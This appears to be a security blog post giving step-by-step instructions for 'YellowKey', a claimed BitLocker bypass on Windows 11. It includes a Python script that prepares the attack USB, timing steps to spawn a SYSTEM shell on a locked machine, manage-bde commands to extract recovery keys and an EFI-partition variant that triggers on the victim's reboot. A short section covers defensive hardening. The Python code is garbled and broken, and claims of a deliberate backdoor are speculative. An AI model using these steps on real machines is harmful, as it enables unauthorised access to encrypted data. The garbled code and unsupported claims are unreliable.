YellowKey Exposed: The ‘Backdoored’ USB Stick That Cracks Windows 11 BitLocker in Seconds + Video

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Introduction:

A newly leaked zero-day exploit known as YellowKey has sent shockwaves through the digital forensics and cybersecurity communities. Demonstrated by researcher Nightmare-Eclipse, this attack leverages a component within the Windows Recovery Environment (WinRE) to open a privileged command shell, completely bypassing BitLocker encryption on Windows 11 and Windows Server 2022/2025 with a simple USB stick.

Learning Objectives:

  • Understand the technical mechanism behind the YellowKey exploit and why many researchers believe it functions as an intentional backdoor.
  • Construct a step-by-step YellowKey attack USB and automate its deployment using Python scripting.
  • Master forensic imaging techniques to extract data once an encrypted drive has been unlocked.
  1. Understanding the YellowKey: How a Folder and a Keyboard Shortcut Break Bitlocker

The core of the YellowKey exploit is alarmingly simple and has a 75% success rate in digital forensics laboratories. It targets systems using “TPM-only” authentication, where the drive decrypts automatically at boot. By copying the specially crafted `FsTx` folder into the `System Volume Information` directory of a USB drive and interacting with the WinRE boot menu, an attacker can force a `cmd.exe` shell with SYSTEM privileges before the OS has fully secured the environment.

Step‑by‑Step Guide to Building and Executing the YellowKey Attack:

  1. Prepare the Drive: Insert a USB drive. Use `diskpart` in Windows to clean the disk and create a primary partition formatted as NTFS to ensure Windows compatibility.
  2. Deploy the Payload: Clone the official repository (git clone https://github.com/Nightmare-Eclipse/YellowKey`) or use Matt Beers' forked version which includes automation scripts. Copy the `FsTx` folder to your USB drive at the exact locationYourUSBStick:\System Volume Information\FsTx`.
  3. Script Automation: To streamline the process, use the following Python script (adapted from Matt Beers’ work) to automate USB preparation:
import os
import shutil
import subprocess
import sys

def build_yellowkey_usb(drive_letter):
 drive_letter should be something like 'E:'
target_path = f"{drive_letter}\System Volume Information\FsTx"

Clone the repository
if not os.path.exists("YellowKey"):
print("[+] Cloning YellowKey Repository...")
subprocess.run(["git", "clone", "https://github.com/Nightmare-Eclipse/YellowKey"])

Create directory structure
os.makedirs(target_path, exist_ok=True)

Copy payload
shutil.copytree("YellowKey/FsTx", target_path, dirs_exist_ok=True)
print(f"[+] Payload deployed to {target_path}")

if <strong>name</strong> == "<strong>main</strong>":
if len(sys.argv) != 2:
print("Usage: python script.py <DRIVE_LETTER>")
sys.exit(1)
build_yellowkey_usb(sys.argv[bash])
  1. Execution: Insert the USB into the locked target machine. Press Shift while clicking “Restart.” When the screen flashes, immediately release Shift and hold down the CTRL key. If timed correctly, a command prompt will spawn with unrestricted access to the encrypted C: drive.

  2. Post-Exploitation: Forensic Imaging via WinFE and FTK Imager

Once the `cmd` shell is active, forensic examiners need to image the drive. While the shell has access, using GUI tools is impossible. The standard response, highlighted by Jerin Cloutier and Brian Hempstead, involves deploying lightweight command-line imagers. Building a Windows Forensic Environment (WinFE) USB allows you to boot into a portable forensics platform to conduct imaging.

Building a Windows Forensic Environment (WinFE) USB:

  1. Download the Windows ADK (Assessment and Deployment Kit) from Microsoft.
  2. Download the `winfe` framework package from the official website.

3. Extract the framework to `F:\IntelWinFE\`.

  1. Download the 64-bit version of FTK Imager from Exterro. Navigate to C:\Program Files\AccessData\FTK Imager, copy the folder, and paste it into F:\IntelWinFE\USB\x86-x64\tools\x64.
  2. Run the batch script in the WinFE directory to generate the ISO and write it to a USB.

Command Line Imaging with FTK Imager (Once Inside WinFE):
Once booted into WinFE, open a command prompt. Use the `ftkimager` CLI tool to perform a forensic acquisition.

 List drives to verify target (usually PhysicalDrive0)
ftkimager --list-drives
 Acquire the unlocked drive (example: PhysicalDrive0) to an external storage
ftkimager PhysicalDrive0 "E:\Case_Images\drive.E01" --e01
  1. Extracting the BitLocker Recovery Key via Command Line

Alternative to full imaging, if you can access the OS environment, you can export the BitLocker Recovery Key using built-in Windows tools.

  1. In the exploited `cmd` shell, elevate to an administrative prompt (usually already SYSTEM).
  2. Use `manage-bde` to extract the keys. The `-protectors -get` command reveals the Numerical Password (Recovery Key).

3. Command to run:

manage-bde -protectors -get C:

4. If the key is not exposed, unlock the drive manually with the recovery password:

manage-bde -unlock C: -RecoveryPassword [YOUR-48-DIGIT-KEY]

5. Once unlocked, you can image the drive conventionally using hardware write-blockers (like Tableau) and software (like FTK Imager GUI).

4. Advanced Attack Vectors: DMA Attacks and Bitpixie

YellowKey is not the only physical attack vector for modern systems. Researchers have utilized the PCILeech framework alongside tools like DMAReaper to bypass Kernel DMA Protection (IOMMU) via Thunderbolt/PCIe ports, often achieving full SYSTEM shells without even requiring a reboot.

Comparing the Methods:

  • Bitpixie (CVE-2023-21563): This software-only attack downgrades the Windows Boot Manager via PXE boot to exploit a Linux kernel flaw, extracting the Volume Master Key (VMK) from RAM.
  • DMA Attacks: Require hardware (FPGA boards) to perform Direct Memory Access reads, dumping memory or patching the kernel on the fly.

5. Blue Team Defensive Strategies and Mitigation

Given the severity of YellowKey, organizations must adopt a defense-in-depth strategy. While Microsoft has yet to issue a patch, immediate administrative actions can reduce the attack surface.

Verifying Vulnerability:

Run the following PowerShell command as Admin to check if your device is susceptible to WinRE bypasses (related to CVE-2022-41099):

Reagentc /info

If WinRE is enabled, it is a potential vector.

Hardening Commands:

  • Disable WinRE (Temporary Emergency): 
    reagentc /disable

    Note: This sacrifices recovery capabilities but blocks the specific vector until a patch is released.

  • Enforce TPM+PIN: While YellowKey may eventually bypass this, currently, enabling a pre-boot PIN stops the “TPM-only” automatic decryption flow, forcing manual authentication before the OS loads.
  • BIOS Password & Secure Boot: Set a Supervisor Password in the BIOS and disable booting from USB devices to prevent physical attackers from injecting the `FsTx` folder.
  1. Advanced Attack: In-Place Imaging Without USB (EFI Partition)

The researcher notes a terrifying variation of YellowKey: you do not need a USB stick. If you have brief physical access to pull the hard drive, you can write the exploit directly to the EFI partition.

Process (Linux Live CD required):

  1. Boot the target machine using a Linux live environment.
  2. Mount the EFI System Partition (ESP), usually /dev/sda1.
  3. Copy the YellowKey `FsTx` folder to /boot/efi/System Volume Information/FsTx.
  4. Reassemble the machine. When the victim logs in next and reboots, the exploit triggers automatically.

What Undercode Say:

  • The YellowKey exploit represents a fundamental breakdown of the trust model in disk encryption. The fact that a file named FsTx exists in both WinRE and the main OS—yet only triggers the bypass in the recovery environment—strongly suggests intentional engineering, not a bug.
  • From a forensic standpoint, this is a double-edged sword. For law enforcement (like Matt Beers’ lab), it is a breakthrough in accessing evidence on locked Windows 11 devices. However, for corporate security, it is a disaster; any cleaning staff or hotel worker could exfiltrate an entire server’s data with a $5 USB stick. The 75% success rate indicates that while not universal, it is reliable enough to be weaponized immediately.

Prediction:

We will likely see the rapid weaponization of this exploit by ransomware gangs seeking to disable defenses on physical endpoints, shifting the threat model away from network intrusion and towards physical supply chain attacks. Expect Microsoft to deploy an emergency out-of-band (OOB) patch within the next 30 days, though the “backdoor” nature of the code will likely lead to years of litigation and distrust from security researchers. Furthermore, the emergence of GreenPlasma (a local privilege escalation LPE) alongside YellowKey indicates that the researcher has a chain of zero-days ready for the June 2026 Patch Tuesday, which could allow attackers to pivot from BitLocker bypass to full domain administrator access.

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